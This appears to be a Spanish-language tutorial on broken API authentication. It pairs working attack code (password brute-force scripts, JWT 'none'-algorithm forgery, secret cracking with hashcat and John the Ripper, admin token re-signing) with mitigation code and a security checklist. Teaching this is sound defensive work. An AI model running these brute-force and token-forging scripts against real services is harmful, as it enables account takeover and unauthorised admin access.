Broken Authentication - Autenticación Rota
CWE: CWE-287 - Improper Authentication
OWASP API: #2
Referencia: https://cwe.mitre.org/data/definitions/287.html
¿Qué es Broken Authentication?
La capacidad de un atacante de comprometer contraseñas, tokens de sesión o JWT para suplantar a otros usuarios, obtener acceso administrativo o realizar acciones no autorizadas.
Tipos de Vulnerabilidades
1. Credenciales Débiles por Defecto
bash
# APIs sin cambiar credenciales por defecto
curl -u admin:admin https://api.app.com/api/admin/users
curl -u admin:admin123 https://api.app.com/api/admin
# Credenciales conocidas
admin:password
admin:12345
root:toor
test:test2. Falta de Rate Limiting - Brute Force
bash
# Ataque de fuerza bruta sin límite
#!/bin/bash
usuario="admin"
wordlist="/usr/share/wordlists/rockyou.txt"
while IFS= read -r password; do
response=$(curl -s -X POST "https://api.app.com/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$usuario\",\"password\":\"$password\"}" \
-w "\n%{http_code}" | tail -1)
if [ "$response" -eq 200 ]; then
echo "[✓] Contraseña encontrada: $password"
break
else
echo "[-] Intentando: $password"
fi
done < "$wordlist"3. Credenciales en Logs y Respuestas
bash
# API devuelve credenciales en respuesta
curl -X POST "https://api.app.com/api/register" \
-d '{"username":"test","password":"pass123"}'
# Respuesta:
{
"id": 100,
"username": "test",
"password": "pass123", # ← PROBLEMA
"email": "test@test.com"
}
# Credenciales en logs
curl -v "https://api.app.com/api/login?username=admin&password=admin123"
# Authorization header en logs de servidor4. Tokens JWT Débiles
bash
# JWT sin verificación
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
# Decodificar
echo "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d
# {"alg":"none"}
# {"user":"admin"}
# Crear JWT falsificado con "none"
python3 -c "
import jwt
payload = {'user': 'admin', 'role': 'admin'}
token = jwt.encode(payload, '', algorithm='none')
print(token)
"
# Usar token falsificado
curl "https://api.app.com/api/admin" \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ"5. JWT con Secret Débil
bash
# Descifrar JWT
python3 -c "
import jwt
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ'
# Intentar secretos conocidos
secrets = ['secret', 'admin', 'password', '123456', 'key', 'jwt']
for secret in secrets:
try:
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f'✓ Secret encontrado: {secret}')
print(f' Payload: {decoded}')
except:
pass
"
# Usando hashcat para fuerza bruta
hashcat -m 16500 -a 0 token.txt wordlist.txt
# Crear JWT con nuevo secret
python3 -c "
import jwt
original_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ'
payload = {'user': 'admin', 'role': 'admin', 'admin': True}
secret = 'secret'
new_token = jwt.encode(payload, secret, algorithm='HS256')
print(new_token)
"6. Token Reutilizable o Sin Expiración
bash
# Token sin "exp" claim
{
"user": "usuario",
"role": "user"
// ← Falta "exp"
}
# Permanece válido indefinidamente
curl "https://api.app.com/api/profile" \
-H "Authorization: Bearer token_antiguo" # Sigue funcionando7. Falta de Verificación de Email
bash
# Registro sin verificación
curl -X POST "https://api.app.com/api/register" \
-d '{"email":"admin@app.com","password":"hacker"}'
# Respuesta 200 - cuenta creada sin verificar
# Dirección de correo no verificada
# Acceso con credencial falsaMétodos de Explotación
Ataque de Fuerza Bruta Distribuido
python
import requests
import time
from datetime import datetime
def brute_force_api(target_url, username, wordlist_file, delay=0):
"""
Ataque de fuerza bruta a API
"""
with open(wordlist_file, 'r') as f:
passwords = f.readlines()
total = len(passwords)
current = 0
for password in passwords:
password = password.strip()
current += 1
try:
response = requests.post(
f"{target_url}/api/login",
json={"username": username, "password": password},
timeout=5
)
if response.status_code == 200:
print(f"\n[✓] ENCONTRADA: {username}:{password}")
return password
elif response.status_code == 429:
print(f"\n[!] Rate limit alcanzado en intento {current}/{total}")
break
else:
print(f"[-] Intento {current}/{total}: {password}", end='\r')
except Exception as e:
print(f"[!] Error: {e}")
time.sleep(delay)
print(f"\nNo encontrada contraseña después de {total} intentos")
# Ejecutar
brute_force_api(
"https://api.app.com",
"admin",
"/usr/share/wordlists/rockyou.txt",
delay=0.5
)JWT Secret Brute Force
bash
# Herramienta: hashcat
# Descargado de: https://hashcat.net/hashcat
# Extraer parte firmada del JWT
token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ"
# Formato: header.payload.signature
# Para hashcat: header.payload$signature
signature="${token##*.}"
header_payload="${token%.*}"
hashcat_input="${header_payload}\$${signature}"
# Hashcat
hashcat -m 16500 "$hashcat_input" /usr/share/wordlists/rockyou.txtSession Fixation
bash
# API vulnerable reutiliza sesión
curl -v "https://api.app.com/api/login?username=admin&password=admin"
# Observe Set-Cookie: session_id=ABC123
# Enviar el mismo session_id a otra persona
# Cuando login, ambos tienen la misma sesiónHerramientas de Explotación
Burp Suite - Intruder
1. Capturar POST /api/login
2. Enviar a Intruder
3. Payload positions:
POST /api/login
{"username":"§admin§","password":"§password§"}
4. Payload 1: admin, administrator, user, root
5. Payload 2: rockyou.txt (primeros 1000)
6. Mode: Cluster bomb
7. Ejecutar
8. Filtrar por Status 200 / diferentes Content-LengthJohn the Ripper - JWT
bash
# Extraer JWT
token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Guardar en archivo
echo "$token" > token.txt
# Crackear
john --format=jwt token.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Ver resultado
john token.txt --showOWASP ZAP - Ataque Automático
1. Proxy: https://api.app.com
2. Capture: POST /api/login
3. Scan → Attack
4. Seleccionar "Authentication Credentials"
5. Wordlists: rockyou.txtPython - Exploit Completo
python
import jwt
import json
import base64
def exploit_jwt_none_algorithm(original_token):
"""
Explotación: JWT con algoritmo 'none'
"""
# Decodificar
parts = original_token.split('.')
# Decodificar payload
payload = parts[1]
# Agregar padding si falta
padding = 4 - (len(payload) % 4)
if padding != 4:
payload += '=' * padding
decoded = base64.b64decode(payload)
data = json.loads(decoded)
print(f"[*] Payload original: {data}")
# Modificar
data['role'] = 'admin'
data['user'] = 'admin'
# Crear nuevo token con none
header = base64.b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip('=')
new_payload = base64.b64encode(json.dumps(data).encode()).decode().rstrip('=')
new_token = f"{header}.{new_payload}."
print(f"[✓] Token modificado: {new_token}")
return new_token
def exploit_jwt_secret_change():
"""
Si descubrimos el secret, podemos crear cualquier token
"""
payload = {
"user": "admin",
"role": "admin",
"email": "attacker@evil.com",
"iat": 1234567890
}
secret = "secret" # Descubierto mediante brute force
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"[✓] Token forjado: {token}")
return token
# Ejecutar
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ"
exploit_jwt_none_algorithm(original)
exploit_jwt_secret_change()Mitigación y Prevención
1. Implementar Rate Limiting
python
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
limiter = Limiter(
app=app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"]
)
@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute") # 5 intentos por minuto
def login():
username = request.json.get('username')
password = request.json.get('password')
user = authenticate_user(username, password)
if user:
token = generate_jwt(user)
return {"token": token}
return {"error": "Invalid credentials"}, 4012. JWT Seguro
python
import jwt
from datetime import datetime, timedelta
import os
# Secret fuerte
JWT_SECRET = os.environ.get('JWT_SECRET') # Variable de entorno
JWT_ALGORITHM = "HS256"
JWT_EXPIRATION = timedelta(hours=1)
def generate_jwt(user_id):
"""
Generar JWT con expiración
"""
payload = {
"user_id": user_id,
"role": user.role,
"iat": datetime.utcnow(),
"exp": datetime.utcnow() + JWT_EXPIRATION # ← IMPORTANTE
}
token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
return token
def verify_jwt(token):
"""
Verificar JWT
"""
try:
payload = jwt.decode(
token,
JWT_SECRET,
algorithms=[JWT_ALGORITHM] # No permitir "none"
)
return payload
except jwt.ExpiredSignatureError:
return None # Token expirado
except jwt.InvalidTokenError:
return None # Token inválido3. Verificación de Email
python
import secrets
from datetime import datetime, timedelta
@app.route('/api/register', methods=['POST'])
def register():
email = request.json.get('email')
password = request.json.get('password')
user = User(email=email, password=hash_password(password))
user.email_verified = False
# Generar token de verificación
verification_token = secrets.token_urlsafe(32)
user.verification_token = verification_token
user.verification_expires = datetime.utcnow() + timedelta(hours=24)
db.session.add(user)
db.session.commit()
# Enviar email
send_verification_email(email, verification_token)
return {"message": "Verifica tu email"}, 201
@app.route('/api/verify/<token>', methods=['POST'])
def verify_email(token):
user = User.query.filter_by(verification_token=token).first()
if not user or user.verification_expires < datetime.utcnow():
return {"error": "Token inválido o expirado"}, 400
user.email_verified = True
user.verification_token = None
db.session.commit()
return {"message": "Email verificado"}4. Credenciales por Defecto
python
# ✗ NUNCA incluir credenciales por defecto
DEFAULT_USER = "admin"
DEFAULT_PASSWORD = "admin"
# ✓ Solicitar cambio en primer login
@app.before_first_request
def init_security():
if User.query.count() == 0:
# Generar contraseña aleatoria
temp_password = secrets.token_urlsafe(16)
print(f"Contraseña temporal: {temp_password}")
# Guardar de forma segura, exigir cambioChecklist de Seguridad
- [ ] Rate limiting en endpoints de login (5 intentos/minuto)
- [ ] Contraseñas con mínimo 12 caracteres
- [ ] Hashing seguro (bcrypt, scrypt, argon2)
- [ ] JWT con expiración (máx 1 hora)
- [ ] JWT solo con HS256 o RS256 (no "none")
- [ ] Email verificado antes de acceso
- [ ] Sin credenciales por defecto
- [ ] Logout invalida token
- [ ] Sessions con HTTPONLY + SECURE
- [ ] CORS configurado restricitivamente
- [ ] Logging de intentos fallidos
- [ ] MFA para admin
Referencias
- OWASP: https://owasp.org/www-project-api-security/
- CWE-287: https://cwe.mitre.org/data/definitions/287.html
- JWT.io: https://jwt.io/
- NIST Passwords: https://pages.nist.gov/800-63-3/sp800-63b.html